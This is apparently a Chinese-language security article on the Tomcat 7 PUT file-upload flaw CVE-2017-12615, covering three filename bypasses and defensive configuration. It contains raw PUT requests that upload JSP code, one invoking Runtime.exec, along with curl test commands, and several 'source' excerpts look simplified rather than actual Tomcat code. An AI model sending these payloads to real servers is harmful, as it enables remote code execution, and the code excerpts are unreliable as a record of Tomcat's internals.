Tomcat 7.0.x PUT漏洞深度解析:3种绕过姿势与DefaultServlet源码分析
Apache Tomcat作为Java生态中最广泛使用的Web应用服务器之一,其安全性直接关系到数百万线上服务的稳定运行。2017年曝光的CVE-2017-12615漏洞因其特殊的绕过机制和严重的危害性,成为Web安全领域的经典研究案例。本文将深入剖析该漏洞的底层原理,通过源码分析揭示三种不同绕过手法的技术本质,并对比其在Windows/Linux环境下的差异表现。
1. 漏洞背景与影响范围
CVE-2017-12615是一个典型的配置不当导致的任意文件上传漏洞,影响Apache Tomcat 7.0.0至7.0.79版本。当服务器配置了readonly=false参数时,攻击者可以通过精心构造的PUT请求上传恶意JSP文件。
漏洞核心条件:
- Tomcat版本在受影响范围内
- web.xml中DefaultServlet的readonly参数显式设置为false
- 攻击者能够发送PUT请求到服务端
与常见文件上传漏洞不同,该漏洞的独特之处在于需要特殊技巧绕过Tomcat的文件类型检测机制。正常情况下,即使开启了PUT方法,直接上传.jsp文件也会被拦截,这就需要利用系统特性构造特殊文件名。
2. DefaultServlet源码深度解析
要理解漏洞本质,必须分析Tomcat处理PUT请求的核心逻辑。在org.apache.catalina.servlets.DefaultServlet类中,doPut方法负责处理上传请求:
protected void doPut(HttpServletRequest req, HttpServletResponse resp) { if (readOnly) { resp.sendError(HttpServletResponse.SC_FORBIDDEN); return; } String path = getRelativePath(req); WebResource resource = resources.getResource(path); if (resource.exists()) { // 处理已有资源更新 } else { // 创建新资源 createResource(resource, req, resp); } }关键处理流程如下图所示:
- 权限检查阶段:首先检查readOnly标志位,若为true则立即返回403错误
- 路径处理阶段:通过getRelativePath方法标准化请求路径
- 资源操作阶段:根据资源是否存在执行更新或创建操作
JSP处理机制的特殊性:
protected void service(HttpServletRequest req, HttpServletResponse resp) { String jspUri = req.getRequestURI(); if (jspUri.endsWith(".jsp") || jspUri.endsWith(".jspx")) { // 交给JspServlet处理 } else { // DefaultServlet处理逻辑 } }正是这种基于后缀名的路由分发机制,为后续的绕过手法提供了可能。
3. 三种经典绕过技术剖析
3.1 斜杠截断绕过(/)
适用环境:全平台通用
技术原理: 当请求路径以/结尾时,Tomcat的路径解析逻辑会将其识别为目录请求,从而绕过JspServlet的检测:
PUT /malicious.jsp/ HTTP/1.1 Host: target.com Content-Type: text/plain <% Runtime.getRuntime().exec("calc"); %>源码层面分析: 在org.apache.tomcat.util.http.parser.HttpParser中,路径标准化处理会移除末尾的/字符:
private static String normalizePath(String path) { while (path.endsWith("/")) { path = path.substring(0, path.length()-1); } return path; }但此时文件已通过DefaultServlet的检测,最终写入磁盘时保留了.jsp后缀。
3.2 Windows空格截断(%20)
适用环境:仅Windows系统
技术实现: 利用Windows文件系统自动去除后缀空格的特性:
PUT /malicious.jsp%20 HTTP/1.1 Host: target.com Content-Length: 25 <% out.println("test"); %>底层机制:
- Tomcat将
%20解码为空格字符 - Windows文件API在创建文件时自动去除后缀空格
- 访问时需使用原始URL编码路径
3.3 NTFS数据流绕过(::$DATA)
适用环境:仅Windows系统
高级技巧: 利用NTFS文件系统的备用数据流特性:
PUT /malicious.jsp::$DATA HTTP/1.1 Host: target.com Content-Type: text/plain <%@page import="java.util.*"%>技术细节:
| 特性 | 说明 |
|---|---|
| 流名称 | ::$DATA表示文件主数据流 |
| 文件存储 | 实际写入malicious.jsp文件 |
| 访问方式 | 需省略::$DATA访问 |
4. 跨平台行为对比分析
不同操作系统对特殊字符的处理差异导致绕过效果不同:
| 绕过技术 | Windows | Linux | 根本原因 |
|---|---|---|---|
| 斜杠(/) | 有效 | 有效 | 路径标准化处理 |
| 空格(%20) | 有效 | 无效 | 文件系统差异 |
| NTFS流 | 有效 | 无效 | 文件系统特性 |
实际测试数据:
# Windows环境测试结果 curl -X PUT http://win-server/test.jsp/ -d "payload" # 成功 curl -X PUT http://win-server/test.jsp%20 -d "payload" # 成功 curl -X PUT http://win-server/test.jsp::$DATA -d "payload" # 成功 # Linux环境测试结果 curl -X PUT http://linux-server/test.jsp/ -d "payload" # 成功 curl -X PUT http://linux-server/test.jsp%20 -d "payload" # 失败 curl -X PUT http://linux-server/test.jsp::$DATA -d "payload" # 失败5. 防御方案与最佳实践
根据漏洞形成原理,提供多层次的防护建议:
1. 基础防护:
<!-- 修改conf/web.xml配置 --> <init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param>2. 进阶方案:
- 升级到Tomcat 7.0.81+版本
- 配置SecurityManager限制文件创建权限
- 使用Web应用防火墙拦截恶意PUT请求
3. 检测脚本示例:
#!/bin/bash # 检测readonly配置 grep -A5 "readonly" $CATALINA_HOME/conf/web.xml | grep "false" && \ echo "Vulnerable configuration detected!"在云原生环境下,还需要考虑容器化部署的特殊性。通过Dockerfile加固的示例:
FROM tomcat:7.0 RUN sed -i '/<init-param>/a\\t<param-name>readonly</param-name>\n\t<param-value>true</param-value>' \ /usr/local/tomcat/conf/web.xml6. 漏洞研究延伸思考
从CVE-2017-12615中可以提炼出以下安全启示:
- 默认安全原则:readonly参数默认为true是合理设计
- 深度防御:单一防护措施不足以保证安全
- 协议特性:HTTP方法需要谨慎启用
- 系统差异:跨平台特性可能引入安全隐患
对于希望深入研究Tomcat安全的读者,建议从以下方向着手:
- 分析JspServlet与DefaultServlet的协作机制
- 研究Tomcat的URL解析算法
- 跟踪后续相关CVE的修复方案
理解这类漏洞的底层原理,不仅能帮助防御已知威胁,更能培养发现新型漏洞的安全思维。在后续的Tomcat版本中,虽然官方修复了此特定问题,但类似的逻辑缺陷仍然值得持续关注。